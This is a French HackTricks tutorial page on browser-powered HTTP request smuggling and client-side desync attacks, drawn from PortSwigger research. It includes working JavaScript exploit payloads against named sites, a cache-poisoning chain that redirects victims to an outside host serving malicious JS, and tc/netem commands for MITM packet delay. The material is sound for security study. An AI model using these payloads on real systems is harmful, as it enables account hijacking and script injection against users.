24 KiB
Browser HTTP Request Smuggling
Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!
Autres moyens de soutenir HackTricks :
- Si vous souhaitez voir votre entreprise annoncée dans HackTricks ou télécharger HackTricks en PDF, consultez les PLANS D'ABONNEMENT !
- Obtenez le merchandising officiel PEASS & HackTricks
- Découvrez La Famille PEASS, notre collection d'NFTs exclusifs
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez vos astuces de piratage en soumettant des PR aux dépôts github HackTricks et HackTricks Cloud.
Cette vulnérabilité se produit lorsque l'en-tête Content Length (CL) est complètement ignoré par le serveur backend. Ensuite, le backend traite le corps comme le début de la méthode de la deuxième requête. Ignorer le CL équivaut à le traiter comme ayant une valeur de 0, donc c'est une désynchronisation CL.0 - une classe d'attaque connue mais moins explorée.
L'attaque était possible parce que le serveur backend ne s'attendait tout simplement pas à une requête POST.
{% hint style="warning" %} Notez que cette vulnérabilité est déclenchée par une requête HTTP valide, conforme aux spécifications. Cela signifiait que le front-end n'a aucune chance de se protéger contre elle, et elle pourrait même être déclenchée par un navigateur. {% endhint %}
La seule différence entre CL.0 et H2.0 est que le second utilise HTTP2 (qui a un en-tête de longueur de contenu implicite) mais le backend n'utilise pas non plus cela.
Désynchronisation côté client
Les attaques de désynchronisation traditionnelles empoisonnent la connexion entre un serveur front-end et backend, et sont donc impossibles sur les sites Web qui n'utilisent pas une architecture front-end/backend. Ce sont désormais des désynchronisations côté serveur. La plupart des désynchronisations côté serveur ne peuvent être déclenchées que par un client HTTP personnalisé émettant une requête malformée.
La capacité d'un navigateur à provoquer une désynchronisation permet une toute nouvelle classe de menace appelée désynchronisation côté client (CSD).
Une attaque CSD commence lorsque la victime visite le site Web de l'attaquant, qui fait ensuite envoyer par son navigateur deux requêtes cross-domain au site vulnérable. La première requête est conçue pour désynchroniser la connexion du navigateur et faire en sorte que la deuxième requête déclenche une réponse nuisible, donnant généralement à l'attaquant le contrôle du compte de la victime.
Détecter
Un vecteur CSD est une requête HTTP avec deux propriétés clés.
Premièrement, le serveur doit ignorer le Content-Length (CL) de la requête. Cela se produit généralement parce que la requête a soit déclenché une erreur serveur, soit le serveur ne s'attendait tout simplement pas à une requête POST vers l'endpoint choisi. Essayez de cibler les fichiers statiques et les redirections au niveau du serveur, et de déclencher des erreurs via des URLs trop longues, et des semi-malformées comme /%2e%2e.
Deuxièmement, la requête doit pouvoir être déclenchée dans un navigateur web cross-domain. Les navigateurs restreignent sévèrement le contrôle des requêtes cross-domain, donc vous avez un contrôle limité sur les en-têtes, et si votre requête a un corps, vous devrez utiliser la méthode HTTP POST. En fin de compte, vous ne contrôlez que l'URL, plus quelques bricoles comme l'en-tête Referer, le corps, et la partie finale du Content-Type.
Tests d'ignorance de CL
La façon de tester cette mauvaise configuration est d'envoyer 2 requêtes et d'en dissimuler une au milieu. Si la connexion dissimulée a affecté la réponse de la deuxième requête, cela signifie qu'elle est vulnérable :
{% hint style="warning" %} Notez que vous ne pouvez pas tester cette vuln en envoyant simplement un Content-Length plus grand que celui envoyé et en cherchant un délai d'attente car certains serveurs répondent même s'ils n'ont pas reçu l'intégralité du corps. {% endhint %}
Il est important de noter si le site cible prend en charge HTTP/2. Les attaques CSD exploitent généralement la réutilisation de la connexion HTTP/1.1 et les navigateurs web préfèrent utiliser HTTP/2 chaque fois que possible, donc si le site cible prend en charge HTTP/2, vos attaques sont peu susceptibles de fonctionner. Il y a une exception ; certains proxies avancés ne prennent pas en charge HTTP/2 donc vous pouvez exploiter n'importe qui les utilisant. Cela inclut les proxies d'entreprise, certains VPN intrusifs et même certains outils de sécurité.
Confirmer
Tout d'abord, sélectionnez un site à partir duquel lancer l'attaque. Ce site doit être accessible via HTTPS et situé sur un domaine différent de la cible.
Ensuite, assurez-vous de ne pas avoir de proxy configuré, puis naviguez vers votre site d'attaque. Ouvrez les outils de développement et passez à l'onglet Réseau. Pour aider au débogage de problèmes potentiels plus tard, je recommande de faire les ajustements suivants :
- Cochez la case "Preserve log".
- Faites un clic droit sur les en-têtes de colonne et activez la colonne "Connection ID".
Passez à la console de développement et exécutez du JavaScript pour répliquer votre séquence d'attaque en utilisant fetch(). Cela peut ressembler à quelque chose comme :
fetch('https://example.com/', {
method: 'POST',
body: "GET /hopefully404 HTTP/1.1\r\nX: Y", // malicious prefix
mode: 'no-cors', // ensure connection ID is visible
credentials: 'include' // poison 'with-cookies' pool
}).then(() => {
location = 'https://example.com/' // use the poisoned connection
})
J'ai défini le mode fetch **'no-cors'** pour garantir que Chrome **affiche l'ID de connexion** dans l'onglet Réseau. J'ai également défini **credentials: 'include'** car Chrome a [**deux pools de connexions distincts**](https://www.chromium.org/developers/design-documents/network-stack/preconnect) - un pour les requêtes avec cookies et un pour celles sans cookies. Vous voudrez généralement exploiter les **navigations**, et celles-ci **utilisent le pool 'avec-cookies'**, donc il vaut mieux prendre l'habitude de toujours empoisonner ce pool.
Lorsque vous exécutez ceci, vous devriez voir **deux requêtes** dans l'onglet Réseau avec le **même ID de connexion**, et la **seconde** devrait déclencher un **404** :
![](<../../.gitbook/assets/image (158) (2).png>)
Si cela fonctionne comme prévu, félicitations - vous avez trouvé un desync côté client !
### Exploitation - Stockage
Une option consiste à identifier une fonctionnalité sur le site cible qui vous permet de **stocker des données textuelles**, et de concevoir le préfixe de sorte que les cookies de votre victime, les en-têtes d'authentification ou le mot de passe finissent par être **stockés quelque part où vous pouvez les récupérer**. Ce flux d'attaque fonctionne [presque identiquement à l'exploitation de l'empaquetage de requêtes côté serveur](https://portswigger.net/web-security/request-smuggling/exploiting#capturing-other-users-requests), donc je ne m'attarderai pas dessus.
### Exploitation - **Chaînage & pivot**
Dans des circonstances normales, de nombreuses classes d'**attaques côté serveur** ne peuvent être lancées que par un attaquant ayant un accès direct au site cible car elles **reposent sur des requêtes HTTP que les navigateurs refusent d'envoyer**, comme la **manipulation** des **en-têtes HTTP** - empoisonnement du cache web, la plupart des empaquetages de requêtes côté serveur, attaques basées sur l'en-tête Host, injections SQL basées sur l'User-Agent, CSRF avec type de contenu JSON et de nombreuses autres.
Le chemin le plus simple vers une attaque réussie venait de deux techniques clés habituellement utilisées pour les attaques de desync côté serveur : [**empoisonnement de ressource JavaScript via des redirections d'en-tête Host**](https://portswigger.net/web-security/request-smuggling/exploiting#using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect), et l'utilisation de la méthode [**HEAD**](https://portswigger.net/web-security/request-smuggling/advanced/request-tunnelling#non-blind-request-tunnelling-using-head) pour assembler une réponse avec du HTML nuisible. Les deux techniques devaient être **adaptées** pour surmonter certains défis inédits associés à l'opération dans le **navigateur de la victime**.
## Exemples d'exploitation
### Exemple de HEAD empilé
* **Exploit coloré**
![](<../../.gitbook/assets/image (2) (3).png>)
* **Exploit JS**
fetch('https://www.capitalone.ca/assets', {
method: 'POST',
// use a cache-buster to delay the response
body: `HEAD /404/?cb=${Date.now()} HTTP/1.1\r\nHost: www.capitalone.ca\r\n\r\nGET /x?x=<script>alert(1)</script> HTTP/1.1\r\nX: Y`,
credentials: 'include',
mode: 'cors' // throw an error instead of following redirect
}).catch(() => {
location = 'https://www.capitalone.ca/'
})va
Explication :
- Abus de CL.0 dans /assets (il redirige vers /assets/ et ne vérifie pas le CL)
- Smuggle une requête HEAD (car les réponses HEAD contiennent toujours un content-length)
- Smuggle une requête GET dont le contenu va être reflété dans la réponse avec le payload.
- À cause du content-length de la requête HEAD, la réponse à cette requête sera le corps de la requête HEAD
- Définir le mode cors. Normalement, cela n'est pas fait, mais dans ce cas, la réponse du serveur à la POST initiale est une redirection qui, si suivie, rendrait l'exploit inopérant. Par conséquent, le mode cors est utilisé pour déclencher une erreur et rediriger la victime avec le
catch
.
Redirection de l'en-tête Host + empoisonnement du cache côté client
- Exploit JS
fetch('https://redacted/', {
method: 'POST',
body: "GET /+webvpn+/ HTTP/1.1\r\nHost: x.psres.net\r\nX: Y",
credentials: 'include'}
).catch(() => { location='https://redacted/+CSCOE+/win.js' })
- Une requête vers
/+webvpn+/
avec un domaine différent dans l'en-tête Host reçoit une redirection vers/+webvpn+/index.html
vers ce domaine indiqué dans l'en-tête Host. - L'emplacement dans la deuxième requête est défini sur
/+CSCOE+/win.js
afin de polluer le cache de ce fichier.js
. - Cette requête recevra la redirection de
/+webvpn+/
vers le domaine de l'attaquant avec le chemin/+webvpn+/index.html
- Le cache de
win.js
sera pollué avec une redirection vers la page de l'attaquant, mais aussi la victime suivra la redirection comme elle a été assignée dans la variablelocation
et finira sur la page web de l'attaquant. - L'attaquant redirigera ensuite la victime vers
https://redacted/+CSCOE+/logon.html
. Cette page importera/+CSCOE+/win.js
. Dont le cache est une redirection vers le serveur de l'attaquant, par conséquent, l'attaquant peut répondre avec un JS malveillant.
La victime accédera à la page de l'attaquant deux fois, la première elle s'attend à un HTML qui redirige la victime vers https://redacted/+CSCOE+/logon.html
et la seconde elle s'attend à du code javascript (le payload). Un polyglotte peut être utilisé pour servir les deux réponses en une seule :
HTTP/1.1 200 OK
Content-Type: text/html
alert('oh dear')/*<script>location = 'https://redacted/+CSCOE+/logon.html'</script>*/
Charge utile HEAD avec TE fragmenté
Lors de la recherche de CSD, vous pouvez également tester des URL semi-malformées comme /..%2f
ou /%2f
.
- Exploit Coloré
- Exploit JS
fetch('https://www.verisign.com/%2f', {
method: 'POST',
body: `HEAD /assets/languagefiles/AZE.html HTTP/1.1\r\nHost: www.verisign.com\r\nConnection: keep-alive\r\nTransfer-Encoding: chunked\r\n\r\n34d\r\nx`,
credentials: 'include',
headers: {'Content-Type': 'application/x-www-form-urlencoded'
}}).catch(() => {
let form = document.createElement('form')
form.method = 'POST'
form.action = 'https://www.verisign.com/robots.txt'
form.enctype = 'text/plain'
let input = document.createElement('input')
input.name = '0\r\n\r\nGET /<svg/onload=alert(1)> HTTP/1.1\r\nHost: www.verisign.com\r\n\r\nGET /?aaaaaaaaaaaaaaa HTTP/1.1\r\nHost: www.verisign.com\r\n\r\n'
input.value = ''
form.appendChild(input)
document.body.appendChild(form)
form.submit()
}
- La page
/%2f
est accédée pour exploiter la vulnérabilité CL.0. - Une requête HEAD est introduite clandestinement en utilisant un
Transfer-Encoding: chunked
header. - Cet en-tête est nécessaire dans ce scénario car sinon le serveur refusait d'accepter une requête HEAD avec un corps.
- Ensuite, l'utilisateur envoie un POST dont le corps contient la fin du chunk de la précédente requête HEAD et une nouvelle requête qui est introduite clandestinement avec du contenu (le payload JS) qui sera reflété dans la réponse.
- Par conséquent, le navigateur traitera la réponse à la requête HEAD comme la réponse à la requête POST qui contiendra également dans la réponse du corps ce qui reflète l'entrée de l'utilisateur dans la seconde requête introduite clandestinement.
Redirection de l'en-tête Host + RC
- Exploit JS
<script>
function reset() {
fetch('https://vpn.redacted/robots.txt',
{mode: 'no-cors', credentials: 'include'}
).then(() => {
x.location = "https://vpn.redacted/dana-na/meeting/meeting_testjs.cgi?cb="+Date.now()
})
setTimeout(poison, 120) // worked on 140. went down to 110
}
function poison(){
sendPoison()
sendPoison()
sendPoison()
setTimeout(reset, 1000)
}
function sendPoison(){
fetch('https://vpn.redacted/dana-na/css/ds_1234cb049586a32ce264fd67d524d7271e4affc0e377d7aede9db4be17f57fc1.css',
{
method: 'POST',
body: "GET /xdana-na/imgs/footerbg.gif HTTP/1.1\r\nHost: x.psres.net\r\nFoo: '+'a'.repeat(9826)+'\r\nConnection: keep-alive\r\n\r\n",
mode: 'no-cors',
credentials: 'include'
}
)
}
</script>
<a onclick="x = window.open('about:blank'); reset()">Start attack</a>
Dans ce cas, il y a encore une redirection d'en-tête d'hôte qui pourrait être utilisée pour détourner une importation de JS. Cependant, cette fois, la redirection n'est pas mise en cache, donc l'empoisonnement du cache côté client n'est pas une option.
Par conséquent, l'attaque effectuée fera en sorte que la victime accède à la page vulnérable dans un onglet et ensuite, juste avant que la page essaie de charger un fichier JS, empoisonne les connexions de smuggling (3 dans ce cas).
Comme le timing doit être extrêmement précis, l'attaque est réalisée contre un nouvel onglet à chaque itération jusqu'à ce qu'elle fonctionne.
{% hint style="warning" %}
Gardez à l'esprit que dans ce cas, /meeting_testjs.cgi
a été attaqué parce qu'il charge un Javascript qui répond avec un 404, donc il n'est pas mis en cache. Dans d'autres scénarios où vous essayez d'attaquer un JS qui est mis en cache, vous devez attendre qu'il disparaisse du cache avant de lancer une nouvelle attaque.
{% endhint %}
Étapes résumées :
- Ouvrir une nouvelle fenêtre.
- Émettre une requête inoffensive vers la cible pour établir une nouvelle connexion, rendant les timings plus cohérents.
- Naviguer dans la fenêtre vers la page cible à /meeting_testjs.cgi.
- 120 ms plus tard, créer trois connexions empoisonnées en utilisant le gadget de redirection.
- 5 ms plus tard, pendant le rendu de /meeting_testjs.cgi, la victime tentera, espérons-le, d'importer /appletRedirect.js et sera redirigée vers x.psres.net, qui fournit un JS malveillant.
- Si ce n'est pas le cas, réessayer l'attaque.
Désynchronisation basée sur la pause
La pause peut également créer de nouvelles vulnérabilités de désynchronisation en déclenchant des implémentations erronées de délai d'attente de requête.
Ainsi, un attaquant pourrait envoyer une requête avec des en-têtes indiquant qu'il y a un corps, puis attendre que le front-end expire avant d'envoyer le corps. Si le front-end expire mais laisse la connexion ouverte, le corps de cette requête sera traité comme une nouvelle requête.
Exemple : Varnish
Varnish cache possède une fonctionnalité appelée synth()
, qui vous permet d'émettre une réponse sans transmettre la requête au back-end. Voici un exemple de règle utilisée pour bloquer l'accès à un dossier :
if (req.url ~ "^/admin") {
return (synth(403, "Forbidden"));
}
Lors du traitement d'une requête partielle qui correspond à une règle synthétique, Varnish expirera s'il ne reçoit aucune donnée pendant 15 secondes. Lorsque cela se produit, il laisse la connexion ouverte pour réutilisation bien qu'il n'ait lu que la moitié de la requête sur le socket. Cela signifie que si le client envoie la seconde moitié de la requête HTTP, elle sera interprétée comme une nouvelle requête.
Pour déclencher une désynchronisation basée sur une pause sur un front-end vulnérable, commencez par envoyer vos en-têtes, promettant un corps, puis attendez simplement. Finalement, vous recevrez une réponse et lorsque vous enverrez finalement le corps de votre requête, il sera interprété comme une nouvelle requête :
{% hint style="warning" %} Apparemment, cela a été corrigé le 25 janvier comme CVE-2022-23959. {% endhint %}
Exemple : Apache
Tout comme Varnish, il est vulnérable sur les points de terminaison où le serveur génère la réponse lui-même plutôt que de laisser l'application gérer la requête. Cela se produit, par exemple, avec les redirections au niveau du serveur : Redirect 301 / /en
Exploitation côté serveur
Si le serveur vulnérable (Apache ou Varnish dans ce cas) est en back-end, un front-end qui transmet la requête au serveur back-end (les en-têtes http dans ce cas) sans mettre en mémoire tampon l'intégralité du corps de la requête est nécessaire.
Dans ce cas, l'attaquant ne recevra pas le délai d'expiration de la réponse avant d'avoir envoyé le corps. Mais s'il connaît le délai, cela ne devrait pas poser de problème.
L'Application Load Balancer (ALB) d'Amazon transmettra les données de la connexion selon les besoins, mais s'il reçoit la réponse à la demi-requête (le délai d'expiration) avant de recevoir le corps, il n'enverra pas le corps, donc une Condition de Course doit être exploitée ici :
Il y a une complication supplémentaire lorsqu'il s'agit d'exploiter Apache derrière ALB - les deux serveurs ont un délai d'expiration par défaut de 60 secondes. Cela laisse une fenêtre de temps extrêmement réduite pour envoyer la seconde partie de la requête. L'attaque RC a finalement été couronnée de succès après 66 heures.
Exploitation MITM
Il semble impossible d'arrêter une requête depuis le navigateur afin d'exploiter une vulnérabilité de désynchronisation Pause. Cependant, vous pourriez toujours effectuer une attaque MITM pour mettre en pause une requête envoyée par le navigateur. Notez que cette attaque ne repose pas sur le décryptage du trafic.
Le déroulement de l'attaque est très similaire à une attaque de désynchronisation côté client classique. L'utilisateur visite une page contrôlée par l'attaquant, qui émet une série de requêtes cross-domain vers l'application cible. La première requête HTTP est délibérément allongée pour être si grande que le système d'exploitation la divise en plusieurs paquets TCP, permettant à un MITM actif de retarder le dernier paquet, déclenchant une désynchronisation basée sur une pause. Grâce au remplissage, l'attaquant peut identifier quel paquet mettre en pause simplement en se basant sur la taille.
Du côté client, cela ressemble à une désynchronisation côté client régulière utilisant le gadget HEAD, à part le remplissage de la requête :
let form = document.createElement('form')
form.method = 'POST'
form.enctype = 'text/plain'
form.action = 'https://x.psres.net:6082/redirect?'+"h".repeat(600)+ Date.now()
let input = document.createElement('input')
input.name = "HEAD / HTTP/1.1\r\nHost: x\r\n\r\nGET /redirect?<script>alert(document.domain)</script> HTTP/1.1\r\nHost: x\r\nFoo: bar"+"\r\n\r\n".repeat(1700)+"x"
input.value = "x"
form.append(input)
document.body.appendChild(form)
form.submit()
Sur le système de l'attaquant effectuant le MITM aveugle, le délai a été implémenté en utilisant tc-NetEm :
# Setup
tc qdisc add dev eth0 root handle 1: prio priomap
# Flag packets to 34.255.5.242 that are between 700 and 1300 bytes
tc filter add dev eth0 protocol ip parent 1:0 prio 1 basic \
match 'u32(u32 0x22ff05f2 0xffffffff at 16)' \
and 'cmp(u16 at 2 layer network gt 0x02bc)' \
and 'cmp(u16 at 2 layer network lt 0x0514)' \
flowid 1:3
# Delay flagged packets by 61 seconds
tc qdisc add dev eth0 parent 1:3 handle 10: netem delay 61s
Références
- Toutes les informations de ce post ont été prises de https://portswigger.net/research/browser-powered-desync-attacks
Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!
Autres moyens de soutenir HackTricks :
- Si vous souhaitez voir votre entreprise annoncée dans HackTricks ou télécharger HackTricks en PDF, consultez les PLANS D'ABONNEMENT !
- Obtenez le merchandising officiel PEASS & HackTricks
- Découvrez La Famille PEASS, notre collection d'NFTs exclusifs
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez vos astuces de hacking en soumettant des PR aux dépôts github HackTricks et HackTricks Cloud.